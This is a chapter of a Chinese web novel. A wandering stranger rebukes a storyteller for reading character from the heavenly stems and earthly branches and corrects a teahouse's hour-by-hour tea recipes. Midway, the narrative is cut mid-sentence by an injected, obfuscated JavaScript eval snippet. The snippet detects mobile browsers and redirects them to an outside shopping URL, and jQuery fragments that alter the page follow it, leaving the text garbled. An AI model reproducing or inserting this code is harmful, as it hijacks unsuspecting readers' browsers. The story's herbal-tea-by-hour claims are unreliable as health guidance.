楔子·茶馆错解


    清河镇有座“天时茶馆”，这茶馆不卖别的，单卖“时辰茶”——子时茶、丑时茶、寅时茶……依着十二时辰，每个时辰的茶方不同。掌柜姓“时”，名“知节”，四十有五，开茶馆三代。


    时掌柜有个癖好：每日午时三刻，必请说书先生“冯快嘴”在茶馆说书。冯快嘴三十来岁，口齿伶俐，专说些“天干地支、阴阳五行”的故事。镇里人都爱听，茶馆日日满座。


    这日，冯快嘴正说到“十干十二支”，醒木一拍，唾沫横飞：“列位看官！这十干者，甲至癸，乃天地之数！十二支，子至亥，乃时辰之序！可您知道么？这干支相配，大有讲究！好比那甲子年，是木鼠年，鼠性机灵，木主生发，所以甲子年出生的人，聪明伶俐，但性子浮躁……”


    茶馆里众人听得津津有味。时掌柜在柜台后拨着算盘，嘴角含笑。


    这时，茶馆角落坐下一人。来人戴着一顶用细篾编的斗笠，斗笠边缘缀着几片柳叶。身上是件洗得发白的麻布长衫，腰间用草绳系一柄木剑，剑身光滑。脸上蒙着一方粗布，布色灰白，沾着尘土。


    “小二，一壶午时茶。”声音平平。


    小二阿时，十八岁，忙沏了茶送过去。那人接了茶，却不喝，静静听着冯快嘴说书。


    冯快嘴越说越起劲：“……这乙丑年，是木牛年，牛性敦厚，木主生发，所以乙丑年出生的人，老实本分，但性子倔强……丙寅年，是火虎年，虎性威猛，火主炎上，所以丙寅年出生的人，勇猛果敢，但性子急躁……”


    茶馆里众人点头称是。有那好问的，便问：“冯先生，那丁卯年呢？”


    “丁卯年是火兔年！”冯快嘴眉飞色舞，“兔性温顺，火主炎上，所以丁卯年出生的人，温和善良，但性子软弱……”


    这时，角落里那人忽然开口，声音不大，却清晰入耳：“错了。”


    茶馆里一静。


    冯快嘴一愣，看向角落：“这位客官，何错之有？”


    那人放下茶碗，缓缓道：“十干者，甲至癸。十二支，子至亥。干支相配，用以纪年、纪月、纪日、纪时，乃天地自然之序，非是定人性情、断人吉凶之术。你方才所言甲子年木鼠、乙丑年木牛、丙寅年火虎、丁卯年火兔，已是牵强附会。又说甲子年出生者聪明伶俐但浮躁，乙丑年出生者老实本分但倔强，丙寅年出生者勇猛果敢但急躁，丁卯年出生者温和善良但软弱——更是大错特错。”


    茶馆里众人哗然。冯快嘴面红耳赤，醒木一拍：“这位客官！我冯快嘴说书十年，这干支性情之说，自古有之！你怎敢说是错！”


    “自古有之，未必为对。”那人站起身，走到堂中。他身形瘦削，麻布长衫在穿堂风中微微拂动。“干支纪时，本是便民。甲、乙、丙、丁、戊、己、庚、辛、壬、癸，为十天干；子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥，为十二地支。天干地支相配，六十载一轮回，用以纪年，使人知岁月流转，如此而已。若以干支定人性情，则甲子年所生万千人，岂能皆聪明浮躁？乙丑年所生万千人，岂能皆老实倔强？此以偏概全，贻误世人。”


    冯快嘴气得胡子乱颤：“你……你胡说！”


    时掌柜忙从柜台后走出，打圆场道：“这位客官，冯先生也是为茶馆添些热闹。您若不喜听，可移步雅座……”


    那人摇头，看向满堂茶客：“列位可知，这干支本义？”


    众人摇头。


    “天干十数，地支十二数，相配成六十甲子，本为纪时。”那人声音清朗，如泉流石上，“甲者，草木初生，破甲而出；乙者，草木初长，曲折柔韧；丙者，光明炳然，如日初升；丁者，强壮坚实，如人之壮；戊者，茂盛繁荣，如土之厚；己者，纪识万物，如地之载；庚者，更新变革，如秋之收；辛者，辛辣艰辛，如金之砺；壬者，妊养万物，如怀胎之象；癸者，归藏闭藏，如冬之藏。此十天干之本义，乃天地万物生长收藏之序。”


    他顿了顿，继续道：“子者，孳也，阳气始萌，孳生于下；丑者，纽也，寒气纽结，阳气未发；寅者，移也，阳气欲出，引而移之；卯者，冒也，万物冒地而出；辰者，震也，阳气震动，万物生长；巳者，巳也，阳气毕布，阴气始起；午者，仵也，阴阳交仵，阳气极盛；未者，昧也，阳气稍衰，阴气渐长；申者，伸也，阴气渐伸，万物收敛；酉者，就也，万物成熟，阴气就位；戌者，灭也，阳气微灭，万物凋零；亥者，核也，阳气闭藏，万物归根。此十二地支之本义，乃一日十二时辰阳气消长之象。”


    茶馆里鸦雀无声。众人听得入神，连冯快嘴也忘了反驳。


    “干支纪时，使人知天时，顺四时，应万物。”那人看向冯快嘴，“冯先生以干支断人性情，谓甲子年生者必聪明浮躁，乙丑年生者必老实倔强——此乃穿凿附会，误人子弟。人之性情，生于父母，成于教化，岂可凭出生年干支而定？若如此，同年同月同日同时所生之人，性情岂非皆同？然世间有善有恶，有智有愚，有勇有怯，岂是干支可定？”


    冯快嘴哑口无言，额头冒汗。


    时掌柜忙道：“客官高见！只是……这茶馆说书，本就是图个乐子……”


    “图乐子可以，但不可谬种流传。”那人从怀中取出一卷发黄的旧册，递给冯快嘴，“这是《干支本义》，冯先生不妨一观。说书人，当以正视听、明事理为先，不可为博人一笑，而传虚妄之言。”


    冯快嘴接过，翻开一看，首页便写着：“十干者，甲至癸，万物生长收藏之序。十二支，子至亥，一日阴阳消长之象。干支相配，纪时而已，非可定人性情、断人吉凶。此理不明，贻害无穷。”


    他看得面红耳赤，双手发颤。


    那人又看向时掌柜：“掌柜的，你这茶馆卖‘时辰茶’，子时茶、丑时茶、寅时茶……可知道这十二时辰，本是何意？”


    时掌柜一愣：“这……祖上传下的方子……”


    “祖传方子，未必合时。”那人道，“子时阳气始萌，当饮温润之茶，以助阳气生发。你这子时茶，却加了薄荷，性凉，与阳气生发相悖。丑时寒气纽结，当饮温热之茶，以散寒结。你这丑时茶，却加了菊花，性寒，更增寒气。寅时阳气欲出，当饮升发之茶，以助阳气。你这寅时茶，却加了决明子，性凉，抑遏阳气……”


    他一一道来，从子时说到亥时，每说一句，时掌柜脸色便白一分。


    “……午时阴阳交仵，阳气极盛，当饮平和之茶，以调阴阳。你这午时茶，却加了姜片，性热，更助阳亢。未时阳气稍衰，阴气渐长，当饮温和之茶，以顺阴阳。你这未时茶，却加了黄连，性苦寒，伤阳气……”


    “客官……客官怎知……”时掌柜冷汗涔涔。


    “茶性如人性，当顺天时。”那人道，“子时当温，丑时当热，寅时当升，卯时当发，辰时当长，巳时当和，午时当平，未时当温，申时当收，酉时当藏，戌时当敛，亥时当养。你这十二时辰茶，有三四样不合时宜。长此以往，饮者不得其益，反受其害。”


    茶馆里众人窃窃私语。有那常来饮茶的，恍然大悟：“怪不得我喝了子时茶，常觉腹冷！”“我喝了午时茶，常觉口干！”


    时掌柜面如土色，拱手道：“请……请先生赐教！”


    那人从怀中又取出一卷旧册，递给时掌柜：“这是《十二时辰茶方》，依天时阴阳而配。掌柜的可按方调配，莫再谬传。”


    时掌柜双手接过，如获至宝。


    那人又看向满堂茶客：“列位，天干地支，本是纪时之便。子午卯酉，本是时辰之序。茶饮饮食，本是养生之道。莫要被虚妄之言所误，莫要被谬传之方所害。知天时，顺四时，应万物，这才是正理。”


    说罢，他放下一枚铜钱在桌上，拿起斗笠，转身欲走。


    “先生留步！”冯快嘴忽然喊道，他捧着那卷《干支本义》，躬身一礼，“先生一席话，如醍醐灌顶。我冯快嘴说书十年，自以为博学，今日方知是坐井观天、谬种流传。从今往后，我必改正，再不以干支妄断人性情！”


    时掌柜也深深一揖：“先生赐方之恩，没齿难忘！从今日起，天时茶馆必按正配方！”


    那人回身，微微点头：“知错能改，善莫大焉。说书人，当以正视听为要；开茶馆，当以顺天时为要。切记，切记。”


    他戴好斗笠，走出茶馆。午后的阳光洒在他身上，麻布长衫泛着淡淡的光。


    茶馆里静了片刻，忽然爆发出一阵议论。


    “这位先生是谁啊？”


    “说得在理！干支本是纪时，哪能定人性情？”


    “我那小子就是甲子年生，可一点也不浮躁！”


    “我喝了三年子时茶，老是腹冷，原来如此！”


    ……


    冯快嘴收起醒木，对众人拱手：“列位，今日这书，我说错了。从明日起，我重说‘干支本义’，再不断人性情！”


    时掌柜也道：“从明日起，本茶馆按新方配时辰茶，各位可来品尝！”


    茶馆里响起一片叫好声。


    一、 冯快嘴的悔悟


    却说冯快嘴回到家中，一夜未眠。他翻着那卷《干支本义》，越看越心惊。原来天干地支，本是纪时之用，甲子乙丑，只是序号，哪有木鼠木牛、火虎火兔之说？至于以干支断人性情，更是无稽之谈。


    “我误人子弟十年啊！”他捶胸顿足。


    次日，冯快嘴早早来到天时茶馆。时掌柜已按新方配好了十二时辰茶，茶香与往日不同，更显清正。


    冯快嘴走上说书台，醒木一拍，却不说话。他看着满堂茶客，忽然深深一躬。


    “列位，我冯快嘴，错了。”


    茶馆里一静。


    “我错在三点。”冯快嘴直起身，声音沉重，“第一错，以干支断人性情。甲子乙丑，只是纪年序号，哪有什么木鼠木牛？人各有性，岂可因年而定？第二错，穿凿附会。说什么甲子年生者聪明浮躁，乙丑年生者老实倔强——全是胡说！我邻居就是乙丑年生，为人狡猾；我表兄就是甲子年生，性子沉稳。这如何说得通？第三错，谬种流传。我说了十年，听者成千上万，被我误导者不知凡几。此罪大矣！”


    他取出那卷《干支本义》：“这位先生赐我宝卷，我彻夜通读，方知大错。今日，我便按这《干支本义》，为列位说一段真正的‘十干十二支’！”


    醒木再拍，冯快嘴清了清嗓子：


    “话说这十干者，甲、乙、丙、丁、戊、己、庚、辛、壬、癸，乃古人观天地万物生长收藏之序而创。甲如草木破甲，乙如草木曲折，丙如日光明亮，丁如人丁强壮，戊如大地茂盛，己如纪识承载，庚如更新变革，辛如艰辛磨砺，壬如妊养怀胎，癸如归藏闭藏。十天干，便是万物一生之象！”


    “再说十二支，子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥，乃古人观一日阴阳消长而创。子时阳气始萌，丑时寒气纽结，寅时阳气欲出，卯时万物冒地，辰时阳气震动，巳时阴气始起，午时阴阳交仵，未时阳气稍衰，申时阴气渐伸，酉时万物成熟，戌时阳气微灭，亥时阳气闭藏。十二地支，便是一日阴阳之变！”


    “干支相配，成六十甲子，用以纪年、纪月、纪日、纪时，使人知岁月流转、四时更迭，如此而已！哪有什么木鼠火牛、定人性情之说？那全是后世方士穿凿附会，误人子弟！”


    他滔滔不绝，将《干支本义》中的道理一一道来。从十天干的本义，说到十二地支的由来；从干支纪年的起源，说到六十甲子的循环。言辞恳切，引经据典，听得满堂茶客如痴如醉。


    “所以说，”冯快嘴最后道，“咱们百姓，知干支可以纪时、知岁便好，切莫信那妄断吉凶、妄定性情之说！人之命运，在己不在天；人之性情，在教不在生！”


    茶馆里响起雷鸣般的掌声。


    时掌柜亲自奉上一壶午时茶：“冯先生，请用茶！这是按新方配的午时茶，平和调阴阳，正合先生此时饮用！”


    冯快嘴接过，一饮而尽，只觉一股暖流自腹中升起，通体舒泰，不由赞道：“好茶！这才是顺天时的茶！”


    从那天起，冯快嘴再也不说“干支断性情”的书了。他改说《干支本义》，说《十二时辰》，说《四时更迭》。听书的人反而更多，都说冯先生“改邪归正，说得在理”。


    二、 天时茶馆的新茶


    时掌柜那日得了《十二时辰茶方》，如获至宝。他连夜研读，方知祖传的茶方有三四成不合时宜。比如子时茶加薄荷，虽能提神，却性凉抑阳，与子时阳气始萌相悖；午时茶加姜片，虽能暖胃，却性热助阳，与午时阴阳交仵相冲。


    “我误人健康三年啊！”他懊悔不已。


    次日，时掌柜闭门一日，按新方重新配制十二时辰茶。子时茶去薄荷，加枸杞、桂圆，温润助阳；丑时茶去菊花，加红枣、生姜，温热散寒；寅时茶去决明子，加陈皮、苏叶，升发阳气……每样茶都依时辰阴阳而配，务求顺天应时。


    第三日，天时茶馆重新开张。门口挂出新招牌：“顺天时应阴阳十二时辰茶”。茶客们将信将疑，进来品尝。


    “咦？这子时茶，不凉了，喝了暖洋洋的！”


    “这午时茶，不燥了，喝了很平和！”


    “这亥时茶，喝了浑身舒泰，睡得香！”


    ……


    茶客们交口称赞。时掌柜在柜台后拨着算盘，嘴角含笑，但这笑与往日不同，多了几分踏实。


    有那老茶客问：“时掌柜，这新方从何而来？”


    时掌柜便取出那卷《十二时辰茶方》：“是一位先生所赐。那位先生说，茶性如人性，当顺天时。子时当温，丑时当热，寅时当升……如此调配，方能养生。”


    “那位先生何在？”


    “不知。那日来过，指点我与冯先生后，便离去了。”


    “真是高人！”


    “是啊，若不是他，我还日日喝着逆时的茶呢！”


    ……


    天时茶馆的生意越发红火。镇里人不仅来喝茶，还来问时辰、问养生。时掌柜便按那卷茶方，细细解说，还常常提醒茶客：“茶只是辅助，养生关键在顺天时、应四时。子时当眠，丑时当深眠，寅时当醒……起居有常，饮食有节，方是正道。”


    茶馆里还多了块木牌，上写：“十干者，甲至癸，万物生长之序。十二支，子至亥，一日阴阳之变。饮茶顺时，起居应时，方得养生之道。”


    三、 茶客们的醒悟


    自那日后，天时茶馆的茶客们也有了变化。


    从前，他们来喝茶听书，只当消遣。听了冯快嘴的“干支断性情”，便回家对号入座：“我是丙寅年火虎，难怪性子急！”“我是丁卯年火兔，难怪性子软！”夫妻吵架，也说：“你是庚申年金猴，尖酸刻薄！”“你是癸亥年水猪，懒惰愚笨！”闹得家宅不宁。


    如今，他们再来喝茶听书，听到的是“干支本义”，是“顺天应时”。回家后，不再以干支断人，而是观天时、顺四时。


    “爹，我是甲子年生，是不是就聪明浮躁？”


    “傻孩子，甲子只是纪年，哪能定人性情？你聪不聪明，浮不浮躁，在你自己，不在年号。”


    “娘，我是乙丑年生，是不是就老实倔强？”


    “乖女，乙丑只是序号，你老实还是狡猾，倔强还是柔顺，看你如何为人处世，与生年何干？”


    夫妻吵架也少了：


    “你这人，怎么这般急躁！”


    “我急躁是我性子急，与丙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148669|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    寅年何干？我改便是！”


    “你这人，怎么这般软弱！”


    “我软弱是我没主见，与丁卯年何干？我立起来便是！”


    镇里风气为之一新。人们不再以干支妄断人，而是就事论事，观人行止。有那读过几年书的，更是将那《干支本义》的道理传扬开去：


    “天干地支，本是纪时之便，如同尺子量物、秤杆称重，是工具，不是天命！”


    “人各有命，但命在己手，不在天干地支！”


    “顺天时应四时，方是正道；逆天时背阴阳，自取其祸！”


    四、 三月后的茶馆


    三月后的一个午后，天时茶馆座无虚席。冯快嘴正在说书，醒木拍得啪啪响：


    “……所以说，这干支纪年，本是咱们老祖宗的智慧！但智慧要用对地方！用来纪年、纪月、纪日、纪时，那是正用！用来断人性情、妄言吉凶，那是歪用！正用使人明时，歪用使人迷惑！列位切记，切记！”


    茶客们纷纷点头。


    时掌柜在柜台后，正为一位老叟配亥时茶：“张老爹，这是亥时茶，养阴安神，您亥时前喝，睡得香。”


    “多谢时掌柜！”老叟笑眯眯接过。


    这时，门外进来一人。还是那顶细篾斗笠，还是那身麻布长衫，还是那柄木剑，脸上蒙着粗布。他悄然走到角落坐下，轻轻道：“小二，一壶午时茶。”


    小二阿时如今已是识茶高手，一眼认出，惊喜道：“先生！您回来了！”


    这一声惊动了满堂。冯快嘴停下说书，时掌柜放下茶壶，茶客们纷纷转头。


    “先生！”冯快嘴抢步下台，深深一揖，“先生教诲，没齿难忘！我冯快嘴已改邪归正，再不说妄言了！”


    时掌柜也忙过来行礼：“先生赐方之恩，小店生意兴隆，茶客称道！都是托先生的福！”


    那人微微点头：“好。”


    阿时奉上午时茶。那人接过，品了一口，点头：“嗯，这回对了。午时阴阳交仵，茶性平和，不助阳，不伤阴，正是顺天时应阴阳。”


    时掌柜喜道：“全赖先生指点！”


    冯快嘴恭敬问道：“先生这三月，去了何处？”


    “走了些地方，见了些人说书。”那人缓缓道，“有以干支断人吉凶的，有以八字妄言命运的，有以星宿妄断福祸的。看得多了，就想，若是他们都明白干支本义，会不会就少些迷惑？”


    众人默然。


    “十干者，甲至癸。十二支，子至亥。”那人念出那十二个字，声音清朗，“天干十数，地支十二数，相配成六十甲子，纪年而已。如同尺子有刻度，秤杆有星花，是为量物称重。若有人以尺子断人性情，以秤杆言人吉凶，列位说，可笑不可笑？”


    茶客们哄笑：“可笑！”


    “然世间多有此等人。”那人道，“以干支断人性情，以八字言人命运，以星宿断人福祸。此皆穿凿附会，误人子弟。更有甚者，借此敛财骗人，害人不浅。”


    他看向满堂茶客：“列位今日在此，听正书，饮正茶，知正理，是幸事。望列位将正理传于家人、友邻，使人皆知：干支纪时，便民而已，不可妄信；顺天应时，养生而已，不可妄求。”


    众人齐声道：“谨记先生教诲！”


    那人起身，放下一枚铜钱，走向门外。


    “先生留步！”冯快嘴忽然喊道，“还未请教先生高姓大名！”


    那人回身，斗笠下的粗布微微晃动：“我姓时，名序，字顺之。”


    说罢，他走出茶馆，消失在午后的街巷中。


    众人怔怔望着门外，半晌，时掌柜喃喃道：“时序……顺之……顺天时，应时序……好名字，好名字。”


    冯快嘴长揖到地：“时序先生，受我一拜！”


    从那以后，天时茶馆的生意越发兴旺。冯快嘴成了镇上最受尊敬的说书先生，因为他只说正理，不传妄言。时掌柜的“顺天时应阴阳十二时辰茶”也名声远播，连外镇的人都慕名而来。


    茶馆里的那块木牌，被人拓印了去，挂在家中堂上，以为警醒。


    尾声干支谣


    又过了三年，清河镇出了件趣事：镇上孩童玩耍时，都会唱一首童谣：


    天干十，地支十二，


    纪年纪月纪时日。


    甲子乙丑是序号，


    不是木鼠与木牛。


    人说丙寅性子急，


    我说急慢在己心。


    人说丁卯性子软，


    我说刚柔在己身。


    干支本是纪时用，


    莫要妄言定吉凶。


    顺天时应四时，


    饮茶起居要应时。


    若问这理谁人教，


    茶馆来了时序公。


    有外乡人听到，问镇上老人：“此时序公是何人？”


    老人便会指着天时茶馆说：“是位教人说正书、卖正茶的先生。他来了，冯快嘴不说妄言了，时掌柜不卖逆时茶了，咱们镇不迷信干支断人了。”


    “他现在何处？”


    “不知道。教完正理，他就走了。”


    “还会回来么？”


    “等咱们忘了正理，传起妄言的时候，他大概就会回来吧。”


    外乡人若有所思，走进天时茶馆，要了一壶午时茶。茶香清正，平和宜人。他慢慢饮着，看着茶馆里坐满的茶客，听着冯快嘴正在说一段“顺天时应四时”的书。


    也许那位时序先生，正在某个地方，看人说正书、卖正茶吧。他想。


    他饮尽杯中茶，茶水温润，直暖到心里。这时序的味道，原来就在一盏茶、一段书中。


    本章诫世


    一、 干支真义训


    - 十干者，甲至癸


    - 十二支，子至亥


    - 破解法：为民者，自问“可知干支本义？可知纪年之便？可曾以干支妄断人？可曾顺天时应四时？”


    二、 三谬三正


    - 冯快嘴之谬在“妄断”——以干支定人性情，穿凿附会


    - 时掌柜之谬在“逆时”——十二时辰茶不合时宜，逆天悖时


    - 茶客之谬在“迷信”——盲目信从妄言，对号入座


    - 三正：冯快嘴改说正书，时掌柜改卖正茶，茶客改信正理


    三、 时序大道


    - 深层隐喻：干支者，纪时之器，如尺如秤，本为便民。然世人多以之妄断吉凶、妄定性情，此乃舍本逐末。天干地支，天地自然之序，人当顺天应时，而非以之妄测天命


    - 终极指向：人之处世，贵在明理。明干支之理，则知纪时之便，不惑于妄言；明时序之理，则知顺天应时，不逆于阴阳。尺可量物，不可量人；秤可称重，不可称命。明此理者，不为妄言所惑，不为迷信所迷


    干支偈：


    清河镇中说书人，干支妄断误众生。


    快嘴妄言木鼠年，掌柜逆时十二茶。


    茶客迷信对号坐，三人皆忘干支本。


    白衣先生来点化，十干十二本纪时。


    顺天应时方为道，莫以干支妄断人。


    后世叹：


    十干者，甲至癸，十二支，子至亥。


    快嘴妄言断人性，掌柜逆时茶不灵。


    茶客迷信对号坐，三人皆忘干支义。


    时序先生来点化，干支本为纪时生。


    三月正理传全镇，天时茶馆享美名。


    正是：


    清河茶馆说书场，干支妄断误人多。


    快嘴谬言木火性，掌柜逆时茶不和。


    茶客迷信对号坐，三人皆忘时序理。


    白衣点化干支义，十干十二本纪年。


    顺天应时饮正茶，天时茶馆美名传。